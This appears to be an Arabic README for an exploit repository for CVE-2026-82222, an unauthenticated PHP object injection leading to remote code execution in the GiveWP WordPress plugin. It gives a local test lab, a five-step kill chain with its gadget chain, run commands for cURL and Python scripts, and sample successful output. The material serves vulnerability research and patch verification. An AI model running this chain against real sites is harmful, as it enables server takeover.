إثبات مفهوم ومختبر DDEV محلي لـ CVE-2026-82222، وهو حقن كائنات PHP غير مُصادَق عليه يؤدي إلى تنفيذ تعليمات عن بُعد (RCE) في إضافة GiveWP لـ WordPress، مع نصوص استغلال بـ cURL وPython.
| CVE | CVE-2026-82222 |
| CVSS | 10.0 (حرج) |
| CWE | CWE-502 — إلغاء تسلسل البيانات غير الموثوقة |
| المتأثر | GiveWP (إضافة التبرعات) <= 4.16.7.1 |
| المُصلَّح | 4.16.7.2 |
| الإشعار | Patchstack |
للاختبار المصرَّح به فقط. هذا المستودع مخصص للتعليم وأبحاث الثغرات واختبار الأنظمة التي تملكها أو لديك إذن صريح باختبارها. الاستخدام غير المصرَّح به غير قانوني.
يوجد هذا المستودع لمساعدة متخصصي الأمن على فهم واكتشاف والدفاع ضد
CVE-2026-82222. جميع العروض التوضيحية مصممة لمختبر محلي (lab/) تشغّله
على جهازك الخاص. لا يكتب إثبات المفهوم أي شيء على القرص ولا يغيّر أي إعدادات
للإضافة — يظهر ناتج الأوامر في استجابة HTTP لطلب التشغيل فقط. راجع
SECURITY.md للنطاق الكامل وسياسة الإبلاغ.
├── lab/ # DDEV + WordPress + GiveWP 4.16.5.1 vulnerable lab
│ ├── setup.sh # one-command lab build
│ ├── set-givewp-version.sh # swap vulnerable/patched GiveWP versions
│ ├── .ddev/config.yaml # DDEV project config
│ └── README.md
├── poc/
│ ├── cve-2026-82222.sh # cURL exploit script
│ ├── poc.py # Python exploit script
│ └── requirements.txt
├── docs/
│ ├── ANALYSIS.md # technical write-up + reachability matrix
│ ├── BURP-MANUAL.md # Burp Repeater walkthrough (request/response)
│ └── CURL-POC.md # copy/paste cURL walkthrough
├── SECURITY.md # scope, reporting and safe-use policy
└── LICENSE
أربعة طلبات غير مصادق عليها بالإضافة إلى طلب تشغيل واحد:
users_can_register ويمنح ملفات تعريف ارتباط WP مصادق عليها.TCPDF → Symfony Session →
DonorFactory → system) في حقل البيانات الوصفية last_name للحساب.give_last؛ يملأ GiveWP الاسم
من قاعدة البيانات، ويلغي تسلسل الأداة مع allowed_classes=false،
ويسلسل مخطط الكائن الحيوي في wp_give_sessions.unserialize()
غير المقيّد؛ يصل TCPDF::__destruct() إلى
call_user_func_array('system', [cmd]). يظهر الناتج في استجابة
HTTP — لا يُكتب أي شيء على القرص.التفاصيل الكاملة: docs/ANALYSIS.md
cd lab
bash setup.sh
# -> https://cve-2026-82222.ddev.site
# form id printed at the end, gateway: manual, WP admin: admin/<random>
يتطلب Docker + DDEV.
cd poc
pip install -r requirements.txt
# cURL
bash cve-2026-82222.sh https://cve-2026-82222.ddev.site id <FORM_ID>
# Python
python3 poc.py https://cve-2026-82222.ddev.site <FORM_ID> -c id -g manual -a 10.00 -v
# fingerprint only (no exploitation)
python3 poc.py https://cve-2026-82222.ddev.site --check
كلا إثباتي المفهوم مصممان لهدف واحد — لا يوجد وضع دفعات أو مسح شامل.
شغّلهما فقط ضد المختبر في lab/ أو الأنظمة المصرَّح لك باختبارها.
الناتج المتوقع عند النجاح (الأمر id):
[*] CVE-2026-82222 kill chain on https://cve-2026-82222.ddev.site (form 5)
[*] 1/5 Registering cve_1b290e (GiveWP ignores users_can_register) ...
-> HTTP 302
[+] auth cookie obtained
[*] 2/5 Fetching profile nonce ...
[+] nonce=a0fd84c9d7 user_id=7
[*] 3/5 Building POP gadget for command: id
[*] 4/5 Storing gadget in wp_usermeta.last_name ...
-> HTTP 302
[+] gadget planted
[*] 5/5 Poisoning wp_give_sessions (HTTP 500 is expected) ...
-> HTTP 500
[+] session poisoned
[*] Triggering RCE ...
[+] COMMAND OUTPUT (id) from /?give_action=view_receipt :
uid=501(sajjadsiam) gid=20(dialout) groups=20(dialout)
cd lab
bash set-givewp-version.sh 4.16.7.2 # patched build
cd ../poc
python3 poc.py https://cve-2026-82222.ddev.site <FORM_ID> -c id -v
# -> chain dies; no output
| GiveWP | الحالة |
|---|---|
| <= 4.16.5.1 | معرّض للثغرة — التثبيت الافتراضي قابل للوصول بالكامل |
| 4.16.6 – 4.16.7.1 | معرّض للثغرة — يتطلب نموذجًا قديمًا (غير V3)؛ يتطلب التسجيل give_register_nonce |
| 4.16.7.2 | مُصلَّح |
يُقدَّم هذا المستودع لأغراض البحث الأمني التعليمي والدفاعي فقط. يوضح الكود المضمّن ثغرة موثّقة حتى يتمكن المدافعون من بناء أنظمة الكشف والتحقق من الإصلاحات واختبار أنظمتهم الخاصة.
المؤلفون غير مسؤولين عن أي إساءة استخدام أو ضرر ناتج عن هذه المواد. لا تستخدمها ضد أي نظام دون إذن صريح — فقد ينتهك ذلك قانون الغش والإساءة الحاسوبية (CFAA) والقوانين المكافئة في جميع أنحاء العالم. راجع SECURITY.md.
MIT — راجع LICENSE.